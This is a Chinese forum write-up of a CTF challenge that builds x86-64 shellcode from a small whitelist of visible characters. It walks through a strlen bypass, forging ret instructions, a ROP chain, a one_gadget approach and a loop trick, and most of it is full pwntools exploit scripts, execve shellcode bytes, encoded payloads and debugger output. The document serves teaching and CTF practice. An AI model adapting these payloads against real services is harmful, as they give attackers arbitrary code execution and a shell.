首页
社区
课程
招聘
[原创]可见shellcode字符的艺术
发表于: 2022-10-8 17:06 21920

[原创]可见shellcode字符的艺术

2022-10-8 17:06
21920

最近在某新生赛中看见了一道shellcode题,要求是可见字符,一般的可见shellcode字符限制的话通常是ASCII可见字符,难一点就不包含特殊符号,但是这道题的限制是仅可用大写A-Z外加hotnj145这几个字符,这就让我很感兴趣了,这些字符构造shellcode有多大作用呢?

img

题目文件 - 链接:https://pan.baidu.com/s/16XG-BoRzSjLq9iPh5FV4zg?pwd=CTFF

本地测试环境是ubuntu18libc-2.27-3ubuntu1.6

先来看看伪代码

image-20221001180437105

mmap开了0x100大小RWX的块,我们可以输入0x80大小数据,但随后会有inwhitelist函数的检查,如果检查失败则打印Hacker并退出,接下来看看inwhitelist函数

image-20221001180649037

image-20221001180704705

可以看到这就是一个白名单字符检查,必须要使用上图whitelist数组里的字符,否则退出

由于白名单检查的时候,数据长度是由strlen函数提供的,而strlen函数的检查机制就是遇到NULL字符停止,但是又不能直接传入NULL字符作为开头,因为之后执行的时候会被认为是非法指令,所以说需要一个带NULL字符的合法指令放在开头,然后shellcode正常跟在后面就行

image-20221001182242045

注意打印出来的shellcode开头,xor eax,0x4141其实就是5AA\x00\x00,因为eax是4字节的而我们的立即数只传入了2字节所以会产生NULL字符补充高位

这种方法确实解决了这道题,但是还没完呢,通过绕过strlen函数的方式总感觉有点投机取巧,如果就按照题目的限制撸个shellcode出来多帅啊,很明显我想当一回真英雄,于是有以下研究,将一些技巧融入几个实际利用的手法中介绍

首先,大概整理一下可以现在还可以用哪些指令

不完整,只是大概看看能输入怎样的指令,注意有些指令结尾是需要\x00的,有些可以通过增加立即数避免产生,有些则无法避免,如果不输入NULL字符的话,就将指令放结尾由缓冲区默认的NULL字符补充为合法指令,但是就无法继续在后面增加指令了,因为继续输入会覆盖掉这些NULL字符

我们仔细看看main函数

image-20221001192708665

如果我们能跳转到1314的位置,就可以控制read函数的指针达到任意写,因为rax是我们可控的,而rsi不行,因为pop rsi编译是_字符,不在白名单中

众所周知,rip寄存器正常情况是不可读不可写的,只能通过某些指令间接操作,例如ret指令,但是ret指令值是0xc3是不可见字符,该怎么构造呢,一番捣鼓过后发现0xc3 / 2 / 2 == 0x41,而0x41是可见字符A,那么操作空间就有了

我们先观察一下此时的寄存器和堆栈的状态

image-20221001194323397

rax/rdi/rsi指向的值都是当前用于存储shellcode的内存块开头的地址r12寄存器是_start的地址,其次,如果没有输入指令地方默认就是NULL字节将会被解析成add byte ptr [rax], al指令,所以说后面都是一样的指令

那么,执行xor al,0x41指令看看

image-20221001195003527

image-20221001195109772

image-20221001195123576

image-20221001195224619

image-20221001195243107

image-20221001195406029

可以执行三次默认的add指令后,rax指向地址的值变成了0xc3也就是ret指令,但是问题也很明显,之后还会继续执行add将会继续改变+0x41地址里的值就变成其他指令了,所以说我们要恰好在+0x41偏移的位置执行ret,中间的空间可以用一下无意义指令填充,而ret之后执行流改变也就不用管后面的指令了

那么现在的操作就很简单了,构造出程序基址+1314的值push进栈顶,之后ret执行的时候就pop进rip了,_start地址与执行read片段位置的异或值是0x214,由于立即数也只能用白名单里的字符要想办法构造,fuzz一下发现0x41414141^0x41414355=0x214,因为单个字节异或不出0x214,只用两个字节又会产生NULL字符,所以说选用两个四字节但高2字节相同的就好

先上payload

操作可以分成几个部分,现在解读一下,首先一直push rax是为了填充栈,因为不想在其中包含NULL字符,所以需要增加立即数来使用xor dword ptr [rax+0x48], ecx,已经尽量选了一个比较小的,push rsp; pop rax是将栈指针传递给rax之后就能通过rax加偏移异或ecx来修改栈中的值,首先构造出0x214在栈中,再把用于填充的值再pop走让rcx=0x214r12_start地址前面已经说过,异或0x214就得到我们想要的read片段的地址,这里注意栈虽然pop很多次已经降下来了,但rax值没变,所以直接用就行,看图

image-20221001203034203

0x7ffd166c8eb8+0x48==0x7ffd166c8f00,所以直接push r12就行

image-20221001203203623

之后rsp就是read函数片段的地址,之后将rdx设置为0x41414141,一个巨大的值,之后调用read就能随意写入,接着的push ; pop指令都是无意义操作,单纯填充位置,因为要在+0x41位置才能调用ret

image-20221001203535755

成功回到main中调用read函数,这里直接写入任意shellcode就行,写入的位置为shellcode地址+0x41的位置,也就是从ret这条指令本身开始覆盖写,虽然我们手动调用read造成任意字符写,之后会重新进入shellcode块重新执行,之后会发现执行shellcode出现了问题,在+0x41位置开始的指令跟我们传入的不一样,比如

image-20221001204052057

这是因为,程序再次执行了之前写入的shellcode,其中默认NULL字符被解析成的add指令会修改+0x41位置的值,造成指令被篡改,这也是我们造出ret指令的方法,现在只需要预判一下会修改哪个字节让他修改的结果是我们本身想执行的指令就行,调试一下就能知道其实就是第一个字节被改了,我传入的shellcode如下:

将第一个字节\x31拿出来运算

&0xff是因为add时候是单字节操作,不会影响高位,所以只取一个字节,\x6e经过运算就能还原成\x31,从而保持shellcode不变,修改第一个字节变成:

现在能正常执行:

image-20221001205107398

image-20221001205206437

exp:

其中传入的可见字符shellcode

既然能造ret指令,那再布局一下栈,岂不是直接ROP,起飞~

要想控制栈就要对栈调用read写入,因为用shellcode太麻烦了,而且长度有限,而上一节中rax不是完全可控的,如果改变rax的值也会影响到ret指令的构造,但是又不能直接pop rsi(不在白名单中),所以用pop rsi; pop r15; ret的gadget来代替rax控制read函数写入的位置,调整一下调用read的位置为+0x1317偏移处(见下图),还有,固定在+0x41偏移调用ret相当于变相削减shellcode长度,这里介绍一下其它构造ret指令的方式

image-20221002160545664

基本payload构造的话基本上都是上一节的操作,这里直接贴出,操作等价于p64(pop_rdi_ret)+p64(__libc_start_main+231)+p64(elf.plt['puts'])+p64(pop_rsi_r15_ret)+p64(stack_addr)+p64(main_read_gadget)*2,控制read时的指针写入栈,那么就会覆盖到call read的时候保存的返回值,从而劫持程序执行流

但是这里换了一种方式来构造ret指令,这里介绍一下:

image-20221002151416788

观察一下栈,可以发现有__libc_csu_init,这是在栈中经常会出现的地址,它跟程序基地址有着固定偏移,熟悉PIE的应该能知道最后面三位是永远不会变的,也就是3a0,既然会固定出现,那么我们就利用这个a0造出0xc3,尝试之后发现白名单中的可见字符与其异或是不能得到0xc3这个值的,一次异或不行?那就两次!0xa0^0x52^0x31=0xc3,分别是R字符和1字符,构造ret指令payload:

首先将shellcode地址给rax然后修改低位,再加上之后xor指令又加了立即数,那就可以变更后面的指令,由于我们可以输入的长度是0x80,那么这里设置ret_addr = shellcode_addr(rax) + 0x41(xor_al) + 0x48(立即数),那么ret指令就会出现在+0x89位置,这个地方我们修改不到,很不错,可以防止覆盖掉或者误操作

image-20221002153218618

可以看到,原本+0x89位置的值是0,第一次异或则是赋值操作,因为0异或任何数等于其本身,然后两次异或之后就变成了0xc3,此时用pwndbg将这个地方解析成指令查看,就会发现有ret指令了,这里可能有同学有疑问,这里一直是四字节的操作而0xc3是单字节的,那么高三字节被解析成指令不会对其产生影响吗,这是因为小端序的原因,其他三字节在内存中存储都是跟在0xc3后面的,这里我们永远先执行到ret,这就够了

因为限制,构造ROP就比较麻烦,虽然已经尽可能节省指令长度了,但还是超出了限制,现在输入的shellcode长度是0x81,多了一个字节。。

先贴出最终exp:

其中的可见字符payload:

提一下调试过程中出现的问题/解决办法/注意点

因为输入长度限制在0x80,所以最终的exp看起来就比较乱了,而且调整了一些指令,因为要优先节省字节其次解决调试中的各种问题,建议先看刚开始的payload再来理解最终exp。调试过程中发现,如果用puts来泄露libc虽然方便但是会改变rax/rdx寄存器的值

image-20221003141857972

这里提一下fuzz的过程,首先先看最终exp之后指令会变成什么

image-20221003143907630

可以看到shellcode+0x6e偏移的指令被改成了xor dword ptr fs:[rax + 0x58], ecx,这条指令执行之后不会改变任何寄存器和栈里的ROP,也没有破坏后续的指令,那自然可以继续往下执行最终实现ROP

前面提到过修改两个立即数和指令能影响最终被修改出来的指令,举个例子,把exp中最后的指令修改成这样

push 0x31移到了xor指令上方,这完全不影响后续指令的效果,但影响最终被修改成的指令,另外还修改了xor al指令中的立即数,那么我们fuzz一下可以发现以下偏移值都是可以正常ROP利用的,第一个值是xor al中的立即数,第二个是[rax+xx]中的立即数

同理,修改最终exp片段,控制第一个立即数为0x74的话有这些可以使用,而最终exp中第一个立即数使用0x6e的话则只有0x6e,0x58一种组合

fuzz脚本:

有报错的说明是没有成功构造出ret指令,所以不报错的都是偶数值,其次没有EOF的就是不影响执行,成功getshell,可以正常执行命令

image-20221003145458256

其它需要注意的地方

使用ROP可以看到确实能实现但真的复杂,用one_gadget的话能方便很多,但弊端是必须知道远程的libc版本,这也是为什么这种利用方式放在ROP后面讲的原因,用one_gadget的话是没有ROP那么稳定的,因为ROP的时候泄露了libc可以很好地猜测libc版本,当然也可以先构造出leak libc的操作先单独进行猜测版本,再对应找one_gadget,所以这种利用方式还是有一定的作用的

如果要使用one_gadget,那么首先要解决的就是地址问题,之前出现的构造从栈或者寄存器找到比较相近的地址进行异或构造,这些地址是程序中需要用到的,与程序关系是很紧密的,导致这些相关地址是经常出现的,而one_gadget没有,我们可以找到与libc相关的地址,但与one_gadget相差过大,我们手中的字符是很有限的,几乎不可能刚好就能异或出这些libc相关地址与one_gadget的偏移值,虽然不能一下子构造出偏移值,但我们可以通过逐字节逐字节的操作来达到目的

首先我们选定一个libc相关的地址,我这里就用shellcode的地址了,因为它由mmaplibc存在固定偏移,所以与one_gadget也存在固定偏移,先查找一下one_gadget,用-l 2参数可以获取更多,但是条件会比不加参数找到的更麻烦,但我们现在是控制程序执行什么指令的,所以不用太在意条件问题,这里列出部分输出

接着计算一下shellcode地址到one_gadget的偏移,用gdb动调取值

我们把这个偏移值拆成一个个单字节来看,比如0x5c9d5b,看作[0x5c,0x9d,0x5b]三个字节,发现0x9d是我们不好构造的值,同理0x9c/0xb1都是一样,那么就排除掉了前三个one_gadget,剩下两个其中的[0x53,0x3b,0x9,0x2]都是我们可以构造的值,所以说这一步就是挑软柿子捏,反正one_gadget有很多,找出能容易利用的。下一步,我们看回这两个one_gadget需要满足的条件,我选了个容易满足的0xe54fe,让rcx = 0 & [rbp-0x70] = 0即可,rcx和栈都是我们能直接控制的

先贴出最终exp,要注意刚开始很多个push,1是满足one_gadget利用条件,2是xor指令中必须使用立即数才能保证指令不存在NULL字符,所以需要填充出偏移

可见字符payload:

这里又换了一种方式构造ret指令,稍微提一下,如果异或不能直接构造出对应指令的值,那么可以先xoradd,但这里的话相当于只用了加法,0x6f+0x54=0xc3就能直接构造出来,如果不能的话可以再次异或再用默认指令执行add,这样可获得的值会更多

这种方式虽然在现在能找到合适的值,但是逃避绝对不是解决问题的好办法,而且换到其他题目中不一定是要执行one_gadget也可能需要调用其他函数,接下来介绍一种更加稳定和通用的方式

这次我们不选择容易构造出偏移值的one_gadget,我们选最方便的,先不考虑如何构造的问题,比如第一个one_gadget就很方便利用

然后算出偏移,这次我们选用的相关libc地址是__libc_start_main+231,这个地址在栈中经常出现,更容易获得,可以说是几乎每道题都能找得到,而mmap的地址可不是每道题都有

那么偏移量就是0x2d61e,看似我们还是无法构造出其中的0xd6字节,那么将这个值除以2看看

这个值中包含[0x01,0x6b,0x0f],我们就很好构造了,那么怎么通过这个值构造回0x2d61e,最直接的办法肯定是造两个add指令,将__libc_start_main+231加上两个0x16b0f就获得one_gadget地址,但是,不是每个偏移量除一次就能获得好构造的字节的,如果除5次好利用就造5个add指令将会大大消耗shellcode的字节数,而且造指令也挺麻烦,偏移量需要是可以使用的字符作为立即数,那么我们换个思路,我们控制add指令执行多少次,那就避免了疯狂造指令的行为,所以这里是要介绍通过push+ret来实现流程控制的方法

先放出最终exp

可见字符payload:

动态调试起来讲解一下怎么实现流程控制的部分

image-20221007182844975

首先构造出ret指令,这个在前面用过,这里就不再提,之后执行xor dword ptr [rdx+0x59],ecx是异或HBPH字符,之后造出add dword ptr [rax + 0x48], edx指令用来将__libc_start_main+231修改为one_gadget地址

image-20221007183805749

然后这里有个xor al,0x58; push rax,此时rax=shellcode_addr,所以构造出shellcode_addr+0x58,这个位置就是add指令的位置

image-20221007184132059
image-20221007184225777

现在是在执行第一次的add指令

image-20221007184334650
image-20221007184355425

然后执行ret的时候,跳回之前add指令的地方再次执行,可以看到现在栈顶就是one_gadget的地址,之后再次ret的时候就跳到one_gadgetgetshell了,所以说我们需要控制重复执行的指令在shellcode的尾部,之后构造出要重复执行指令的位置进行push,控制push的次数以及ret指令就能控制执行重复指令的次数,实现循环的效果,这里需要注意一下我选用的修改libc地址的指令为add qword ptr [rax+0x48],rdx,而默认NULL字符解析的指令是add byte ptr [rax], al会影响到构造偏移值的过程,所以造的ret指令需要紧跟着shellcode最后面,或者选用其他指令来避免

在熟悉流程控制的技巧之后,我觉得还有一个更实用的案例就是ORW,首先将各种参数push进栈,最后循环进行pop设置参数以及三次syscall,分别是open、read、write,这样就能大大节省指令长度,而且更加贴近赛题,众所周知,想要快速提升pwn题目的复杂度首要操作就是禁止getshell只能ORW

不过这里没什么新的东西可说了,有不懂的地方可以先看后一节的构造execve系统调用再回来看,这里就直接贴出exp,这段shellcode需要满足两个条件,1. rax = shellcode_addr2. r8~r15其中一个寄存器为0即可,这里可以根据实际环境替换shellcode中使用的r9寄存器

可见字符payload:

通过跳回main函数片段以及寻找one_gadget的方式来利用并不通用,肯定是会受到环境的影响,相比起来,直接利用可见字符构造系统调用getshell才是 最帅 的方式

核心操作还是利用xor指令,这里就不多说,列出一些通过异或构造的值

贴出最终exp,在这个exp中大概只需要满足一个条件:rax = shellcode_addr,其次是r9 = 0,这条指令中的寄存器可以直接改成r8-r15中任意一个,而不用修改偏移,只要其中一个寄存器值为0即可,这个概率太大了,所以这个条件几乎可以忽略。如果需要在其他题目中使用这段shellcode需要先让rax = shellcode_addr,其次要手动校正其中的偏移量。exp在常用的pwn题系统版本ubuntu 16/18/20/22上经过测试,工作良好。

注意一下,虽然都是可见字符,但是不能直接运行./shellcode来传入,因为输入的时候会带回车

可见字符payload:

其中使用的独特字符,共22个:

回顾一下在前面实际利用方式中出现的姿势,以及介绍一些没能用上的一些技巧

单字节溢出造指令
还是利用NULL字符被解析成的add byte ptr [rax], al的指令,可以发现这里是单字节为单位操作的,如果add的结果大于0xff将被忽略,举个例子,比如需要mov al,0的指令,值为0xb0,那么我们根据白名单字符,就填给al传个0x50

image-20221006200810017

执行默认指令三次后,shellcode_addr+0x50指向的值为0xf0,再执行一次值就会溢出,高位被忽略,值为0x40

之后我们发现,值没有还原为0x50,只有0x80(0x80*2=0x100)会在溢出的时候溢出值等同于他本身,那比如么我们现在输入的是0x50,我们就可以造出指令值为X0(X为任意16进制数)的值,执行15次后就会获得0xb0

只需要控制好执行指令的次数就行,如果add次数过多就填充无意义的指令,如果add的次数过少就调大al的值,如果没有合适的al值可以先异或构造

rbp&rsp赌狗
我们利用手头上的白名单字符不管怎么异或都是无法获得ret(0xc3)指令的,那么我们可以利用PIE,给我们随机创造一些值,比如之前提到0xa0^0x52^0x31=0xc3,当时是利用__libc_csu_init地址最后两位偏移不变,但这个偏移是随着libc版本变化的并不通用,我们可以等PIE给我们创造出0xa0,多运行几次观察rbp/rsp的值,运行看看:
image-20221006205144777
观察到rbp是0结尾而rsp是8结尾,多运行几次会发现前面的值都会变,而最后一位永远不会变
然后就可以构造以下payload:

既然rbp最后一位是0是固定的,那么爆破rbpa0结尾就是1/16的概率

image-20221006210530015
image-20221006210614097
可以看到,如果rbpa0结尾,就能按照预期造出ret

push+ret实现流程控制
把想要多次执行的指令放在shellcode末尾,然后构造出想要多次执行的指令的起始地址,控制push次数来控制循环次数,最后跳到目的地就行,实用的示例就是构造地址的时候,算出偏移量后一直除以2,看字节是否都方便构造,然后控制执行多次add指令还原出最终的偏移值再利用

 
 
 
 
 
 
 
 
from pwn import *
 
context(os='linux',arch='amd64')
p = process('./shellcode')
payload = asm('xor eax,0x4141') + asm(shellcraft.sh())
print(payload)
p.sendafter(b'you',payload)
p.interactive()
from pwn import *
 
context(os='linux',arch='amd64')
p = process('./shellcode')
payload = asm('xor eax,0x4141') + asm(shellcraft.sh())
print(payload)
p.sendafter(b'you',payload)
p.interactive()
 
 
push 0x34343434
push all_reg
pop rax rcx rdx r8-10
xor al,0x41
xor dword ptr [r8], eax
xor dword ptr [rax], eax    #1\x00
xor dword ptr [rax+0x41], ebx ecx edx ebp ...
xor dword ptr [rcx], esi    #11
xor qword ptr [r8 + 0x4d], rcx    #A1\x00
xor dword ptr [rcx], esi
xor dword ptr [rax + 0x6f], r9d
xor dword ptr [rbx + 0x31], eax
xor eax, 0x4141
xor dword ptr [rip], esi    #xor rip出现不同指令
xor qword ptr [rip], rsi
xor qword ptr [rip], r14
add byte ptr [r8], al        #A\x00
push 0x34343434
push all_reg
pop rax rcx rdx r8-10
xor al,0x41
xor dword ptr [r8], eax
xor dword ptr [rax], eax    #1\x00
xor dword ptr [rax+0x41], ebx ecx edx ebp ...
xor dword ptr [rcx], esi    #11
xor qword ptr [r8 + 0x4d], rcx    #A1\x00
xor dword ptr [rcx], esi
xor dword ptr [rax + 0x6f], r9d
xor dword ptr [rbx + 0x31], eax
xor eax, 0x4141
xor dword ptr [rip], esi    #xor rip出现不同指令
xor qword ptr [rip], rsi
xor qword ptr [rip], r14
add byte ptr [r8], al        #A\x00
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
>>> hex(0x565172b69100^0x565172b69314)
'0x214'
>>> hex(0x41414141^0x41414355)
'0x214'
>>> hex(0x565172b69100^0x565172b69314)
'0x214'
>>> hex(0x41414141^0x41414355)
'0x214'
payload = asm(
'''
push 0x41414141
pop rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rsp
pop rax
push 0x41414355
pop rcx
xor dword ptr [rax+0x48], ecx    #0x41414141^0x41414355=0x214 ; 构造0x214,加偏移才能满足白名单字符
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
push r12            #r12=_start
xor dword ptr [rax+0x48], ecx    #_start^0x214=gadget_addr
push 0x41414141           
pop rdx                #控制read的读入字节数
push rdi            #无意义指令,填充位置
pop rax
push rdi
pop rax
push rdi
pop rax
pop rcx
push rcx
push rcx
xor al,0x41            #构造0xc3->ret指令
''')
payload = asm(
'''
push 0x41414141
pop rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rsp
pop rax
push 0x41414355
pop rcx
xor dword ptr [rax+0x48], ecx    #0x41414141^0x41414355=0x214 ; 构造0x214,加偏移才能满足白名单字符
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
push r12            #r12=_start
xor dword ptr [rax+0x48], ecx    #_start^0x214=gadget_addr
push 0x41414141           
pop rdx                #控制read的读入字节数
push rdi            #无意义指令,填充位置
pop rax
push rdi
pop rax
push rdi
pop rax
pop rcx
push rcx
push rcx
xor al,0x41            #构造0xc3->ret指令
''')
 
 
 
 
 
 
 
 
p.sendline(b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05")
p.sendline(b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05")
>>> (0x31-0x41)&0xff
240
>>> (240-0x41)&0xff
175
>>> (175-0x41)&0xff
110
>>> hex(110)
'0x6e'
>>> (0x31-0x41)&0xff
240
>>> (240-0x41)&0xff
175
>>> (175-0x41)&0xff
110
>>> hex(110)
'0x6e'
p.sendline(b"\x6e\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05")
p.sendline(b"\x6e\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05")
 
 
 
from pwn import *
 
context(log_level='debug',os='linux',arch='amd64')
p = process('./shellcode')
#p = remote('119.3.83.106',10565)
 
#gdb.attach(p,'brva 0x1385\nc\nsi')
payload = asm(
'''
push 0x41414141
pop rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rsp
pop rax
push 0x41414355
pop rcx
xor dword ptr [rax+0x48], ecx    #0x41414141^0x41414355=0x214 ; 构造0x214,加偏移才能满足白名单字符
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
push r12            #r12=_start
xor dword ptr [rax+0x48], ecx    #_start^0x214=gadget_addr
push 0x41414141           
pop rdx                #控制read的读入字节数
push rdi            #无用指令,填充位置
pop rax
push rdi
pop rax
push rdi
pop rax
pop rcx
push rcx
push rcx
xor al,0x41            #构造0xc3->ret指令
''')
print(payload)
p.sendafter(b'you',payload)
#pause()
sleep(1)
#p.sendline(b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05")
p.sendline(b"\x6e\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05")
p.interactive()
from pwn import *
 
context(log_level='debug',os='linux',arch='amd64')
p = process('./shellcode')
#p = remote('119.3.83.106',10565)
 
#gdb.attach(p,'brva 0x1385\nc\nsi')
payload = asm(
'''
push 0x41414141
pop rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rsp
pop rax
push 0x41414355
pop rcx
xor dword ptr [rax+0x48], ecx    #0x41414141^0x41414355=0x214 ; 构造0x214,加偏移才能满足白名单字符
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
push r12            #r12=_start
xor dword ptr [rax+0x48], ecx    #_start^0x214=gadget_addr
push 0x41414141           
pop rdx                #控制read的读入字节数
push rdi            #无用指令,填充位置
pop rax
push rdi
pop rax
push rdi
pop rax
pop rcx
push rcx
push rcx
xor al,0x41            #构造0xc3->ret指令
''')
print(payload)
p.sendafter(b'you',payload)
#pause()
sleep(1)
#p.sendline(b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05")
p.sendline(b"\x6e\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05")
p.interactive()
hAAAAXPPPPPPPPPPTXhUCAAY1HHYYYYYYYYYYAT1HHhAAAAZWXWXWXYQQ4A
hAAAAXPPPPPPPPPPTXhUCAAY1HHYYYYYYYYYYAT1HHhAAAAZWXWXWXYQQ4A
 
 
 
payload = asm(
'''
push 0x41414142            #控制rdx值
pop rdx
push rdx
push rdx
push rdx
push rdx
push rdx
push rdx
push rdx
push rdx
push rdx
push rdx
push rsp
pop rax
push 0x41414355
pop rcx
xor dword ptr [rax+0x48], ecx    #0x41414142^0x41414355=0x217 ; 构造0x217,加偏移才能满足白名单字符
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
push r12            #r12=_start
xor dword ptr [rax+0x48], ecx    #_start^0x217=gadget_addr
pop r8                #save gadget_addr
push rdx            #0x41414142
push 0x41414443
pop rcx
xor dword ptr [rax+0x48], ecx    #0x41414142^0x41414443=0x501
pop rcx
push r12
xor dword ptr [rax+0x48], ecx    #get pop_rsi_r15_addr
pop r9                #save pop_rsi_r15_addr
pop rcx                #扔掉一个数据
push 0x41414242
pop rcx
push rdx            #rdx=0x41414142
xor dword ptr [rax+0x50], ecx    #0x41414142^0x41414242=0x300
pop rcx
xor dword ptr [rax+0x58], ecx    #__libc_csu_init^0x300=puts@plt
pop r10                #save puts@plt
push r9                #pop_rsi_r15_addr
push 0x41
push 0x43
pop rcx
xor dword ptr [rax+0x58], ecx    #0x43^0x41=0x2
pop rcx
xor dword ptr [rax+0x58], ecx    #pop_rsi_r15_addr^0x2=pop_rdi_addr
pop rdx                #save pop_rdi_addr
push rdi            #shellcode_addr
pop rax
xor al,0x41
pop rcx
pop rcx
pop rcx
pop rcx                #rcx=__libc_csu_init=0xxxxxxxxxxxxxa0
xor dword ptr [rax+0x48], ecx    #rax+0x48写入0xa0
push 0x52
pop rcx
xor dword ptr [rax+0x48], ecx    #0xa0^0x52=0xf2
push 0x31
pop rcx
xor dword ptr [rax+0x48], ecx    #0xf2^0x31=0xc3=ret
pop rcx                #save __libc_start_main+231
push r8                #main_read_addr
push r8                #r15
push rsp            #rsi
push r9                #pop_rsi_r15
push r10            #puts
push rcx            #__libc_start_main+231
push rdx            #pop_rdi
''')
payload = asm(
'''
push 0x41414142            #控制rdx值
pop rdx
push rdx
push rdx
push rdx
push rdx
push rdx
push rdx
push rdx
push rdx
push rdx
push rdx
push rsp
pop rax
push 0x41414355
pop rcx
xor dword ptr [rax+0x48], ecx    #0x41414142^0x41414355=0x217 ; 构造0x217,加偏移才能满足白名单字符
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
push r12            #r12=_start
xor dword ptr [rax+0x48], ecx    #_start^0x217=gadget_addr
pop r8                #save gadget_addr
push rdx            #0x41414142
push 0x41414443
pop rcx
xor dword ptr [rax+0x48], ecx    #0x41414142^0x41414443=0x501
pop rcx
push r12
xor dword ptr [rax+0x48], ecx    #get pop_rsi_r15_addr
pop r9                #save pop_rsi_r15_addr
pop rcx                #扔掉一个数据
push 0x41414242
pop rcx
push rdx            #rdx=0x41414142
xor dword ptr [rax+0x50], ecx    #0x41414142^0x41414242=0x300
pop rcx
xor dword ptr [rax+0x58], ecx    #__libc_csu_init^0x300=puts@plt
pop r10                #save puts@plt
push r9                #pop_rsi_r15_addr
push 0x41
push 0x43
pop rcx
xor dword ptr [rax+0x58], ecx    #0x43^0x41=0x2
pop rcx
xor dword ptr [rax+0x58], ecx    #pop_rsi_r15_addr^0x2=pop_rdi_addr
pop rdx                #save pop_rdi_addr
push rdi            #shellcode_addr
pop rax
xor al,0x41
pop rcx
pop rcx
pop rcx
pop rcx                #rcx=__libc_csu_init=0xxxxxxxxxxxxxa0
xor dword ptr [rax+0x48], ecx    #rax+0x48写入0xa0
push 0x52
pop rcx
xor dword ptr [rax+0x48], ecx    #0xa0^0x52=0xf2
push 0x31
pop rcx
xor dword ptr [rax+0x48], ecx    #0xf2^0x31=0xc3=ret
pop rcx                #save __libc_start_main+231
push r8                #main_read_addr
push r8                #r15
push rsp            #rsi
push r9                #pop_rsi_r15
push r10            #puts
push rcx            #__libc_start_main+231
push rdx            #pop_rdi
''')
 
 
payload = asm(
'''
push rdi            #shellcode_addr
pop rax
xor al,0x41
pop rcx                #扔掉一个数据
pop rcx                #rcx=__libc_csu_init=0xxxxxxxxxxxxxa0
xor dword ptr [rax+0x48], ecx    #rax+0x48写入0xa0
push 0x52
pop rcx
xor dword ptr [rax+0x48], ecx    #0xa0^0x52=0xf2
push 0x31
pop rcx
xor dword ptr [rax+0x48], ecx    #0xf2^0x31=0xc3=ret
''')
payload = asm(
'''
push rdi            #shellcode_addr
pop rax
xor al,0x41
pop rcx                #扔掉一个数据
pop rcx                #rcx=__libc_csu_init=0xxxxxxxxxxxxxa0
xor dword ptr [rax+0x48], ecx    #rax+0x48写入0xa0
push 0x52
pop rcx
xor dword ptr [rax+0x48], ecx    #0xa0^0x52=0xf2
push 0x31
pop rcx
xor dword ptr [rax+0x48], ecx    #0xf2^0x31=0xc3=ret
''')
 
pwndbg> x/x 0x7fcfbc046089
0x7fcfbc046089:    0x00000000
pwndbg> x/x 0x7fcfbc046089
0x7fcfbc046089:    0x9b1bb3a0
pwndbg> x/x 0x7fcfbc046089
0x7fcfbc046089:    0x9b1bb3f2
pwndbg> x/x 0x7fcfbc046089
0x7fcfbc046089:    0x9b1bb3c3
pwndbg> u 0x7fcfbc046089 5
 0x7fcfbc046089    ret   
 
   0x7fcfbc04608a    mov    bl, 0x1b
   0x7fcfbc04608c    wait
pwndbg> x/x 0x7fcfbc046089
0x7fcfbc046089:    0x00000000
pwndbg> x/x 0x7fcfbc046089
0x7fcfbc046089:    0x9b1bb3a0
pwndbg> x/x 0x7fcfbc046089
0x7fcfbc046089:    0x9b1bb3f2
pwndbg> x/x 0x7fcfbc046089
0x7fcfbc046089:    0x9b1bb3c3
pwndbg> u 0x7fcfbc046089 5
 0x7fcfbc046089    ret   
 
   0x7fcfbc04608a    mov    bl, 0x1b
   0x7fcfbc04608c    wait
 
 
from pwn import *
 
context(log_level='debug',os='linux',arch='amd64')
p = process('./shellcode')
elf = ELF('./shellcode')
libc = elf.libc
one = [0x4f2a5,0x4f302,0x10a2fc]
 
payload = asm(
'''
push rsp
pop rax
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop r8                #__libc_csu_init
pop r9                #__libc_start_main+231
pop rcx                #扔掉数据
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
push 0x41414142            #控制rdx值
pop rdx
push rdx
push 0x41414355
pop rcx
xor dword ptr [rax+0x68], ecx    #0x41414142^0x41414355=0x217 ; 构造0x217,加偏移才能满足白名单字符
pop rcx
push r12            #r12=_start
xor dword ptr [rax+0x68], ecx    #_start^0x217=gadget_addr
push r9                #之后弹给r15的值
push rsp
